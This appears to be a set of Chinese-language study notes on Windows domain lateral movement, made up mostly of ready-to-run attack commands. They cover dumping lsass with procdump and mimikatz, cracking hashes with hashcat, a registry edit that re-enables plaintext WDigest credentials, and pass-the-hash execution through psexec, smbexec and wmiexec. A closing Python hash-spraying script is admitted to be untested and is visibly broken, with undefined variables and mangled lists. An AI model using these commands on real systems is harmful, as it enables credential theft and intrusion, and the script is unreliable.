目录
#知识点1:
#知识点2:
#案例1-Prodump+Mimikatz配合获取
#案例2-域横向移动SMB服务利用-psexec,smbexec(官方自带)
#psexec第一种:现有ipc链接,psexec需要明文或者hash传递
#psexec第二种:不用建立ipc,直接提供明文账号密码来连接
#smbexec无需先icp连接,明文或者hash传递
#案例4-域横向移动以上服务hash批量利用-python编译exe
Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码。
Windows2012以下版本如安装KB2871997补丁,同样无法从内存中获取明文密码。
针对以上的情况,我们提供了4种方式解决此类问题:
Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在windows 2003以后,认证方式均为NTLM Hash。
#Prodump配合Mimikatz
prodump -accepteula -ma lsass.exe lsass.dmp #在目标主机上执行该条命令,得到了lsass.dmp文件,之后就是将这个文件移动到我们的本地主机,使用mimikatz进行恢复
mimikatz上执行:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
hashcat的使用方式:
hashcat -a 0 -m 1000 hash file --force //其中的1000代表着协议
利用SMB服务可以通过明文或者hash传递来远程执行,条件445服务端口开放。
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd #需要先有ipc链接 -s 以system权限运行
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :$HASH$ ./[email protected]
psexec -hashes :$HASH$ domain/[email protected]
psexec -hashes :NTLM值 ./[email protected]
#非官方自带-参考impacket工具包使用,操作简单,容易被杀
smbexec god/administrator:[email protected]
smbexec ./administrator:admin!@#[email protected]
smbexec -hashes :$HASH$ ./[email protected]
smbexec -hashes :$HASH$ domain/[email protected]
smbexec -hashes :NTLM值 ./[email protected]
smbexec -hashes :NTLM值 god/[email protected]
#注册表修改
reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#案例3-域横向移动WMI服务利用-cscript , wmiexec , wmic
WMI(Windows Management Instrumentation)是通过135端口进行利用,支持用户明文或者是hash的方式进行认证,并且该方法不会在目标日志系统中留下痕迹
#自带WMIC 明文传递 无回显
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"
#自带cscript明文传递 有回显
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
看见通过cscript执行后,回显,连接成功,执行ipconfig,得到了192.168.3.21。
#套件impacket wmiexec 明文或者hash传递 有回显exe版本
wmiexec ./administrator:admin!@#[email protected] "whoami"
wmiexec domain/administrator:[email protected] "whoami"
wmiexec -hashes :NTLM值 ./[email protected] "whoami"
wmiexec -hashes :NTLM值 god/[email protected] "whoami"
上面的图片就是分别使用wmiexec命令分别去连接本地用户和域内用户。执行whoami,返回administrator。上面的两个连接都是用明文实现的。
下面来看一下通过NTLM值来实现。
同样是使用wmiexec加上-hashes参数对应上NTLM值,连接192.168.3.32本地用户。
第一步由于我们已经取得了webserver的权限,之后便是通过mimikatz去收集相关的密码信息。
收集到明文密码admin!@#45,假设我们没有获得明文的密码,只是得到了hash值,也就是说NTLM值,为什么这里我们没有使用LM值,是因为服务器大部分使用的都是windows2003之后的,所以优先收集NTLM,当然也可以收集以下LM值。
之后使用之前的命令(相关命令,在之前的笔记有记录到)收集域中存活的主机。
之后再通过webserver上的域用户去收集整个域中的用户。
之后就可以将我们收集的主机ip、用户名、密码写入到python文件中,将文件转为exe文件。
pyinstaller.exe -F python文件名.py
生成的exe文件默认存放于script目录下的dist目录下。
之后便开始运行这个exe文件,批量的去碰撞域和本地的账号。
发现碰撞成功192.168.3.29的域用户。使用的NTLM值(也就是hash传递)也是webserver的NTLM值。
之后的操作便是通过登录192.168.3.29的域用户,再收集该主机上的密码信息。
收集到192.168.3.29的NTLM值,再完善脚本,再次编译为exe文件,再进行上述的碰撞操作。不断完善直到拿到多台主机的信息。
脚本如下:(脚本应该没问题吧?我没有实战去测试,自己改了一下,user其实没有必要写的)
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.31'
}
user = {
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack'
'mary'
'adm'
'webadmin'
}
NTLM= {
'NTML1',
'NTLM2'
}
for ip in ips:
for user in users:
for mima in passs:
exec1 = "wmiexec -hashes :"+NTLM+" god/domain@"+ips+" whoami"
exec2 = "wmiexec -hashes :"+NTLM+" ./domain@"+ips+" whoami"
print("----->"+exec1+"<-----")
print("----->"+exec2+"<-----")
os.system(exec1)
os.system(exec2)
time.sleep(0.5)
(没有进行实战的操作,只是学习了整个内网渗透的思路。)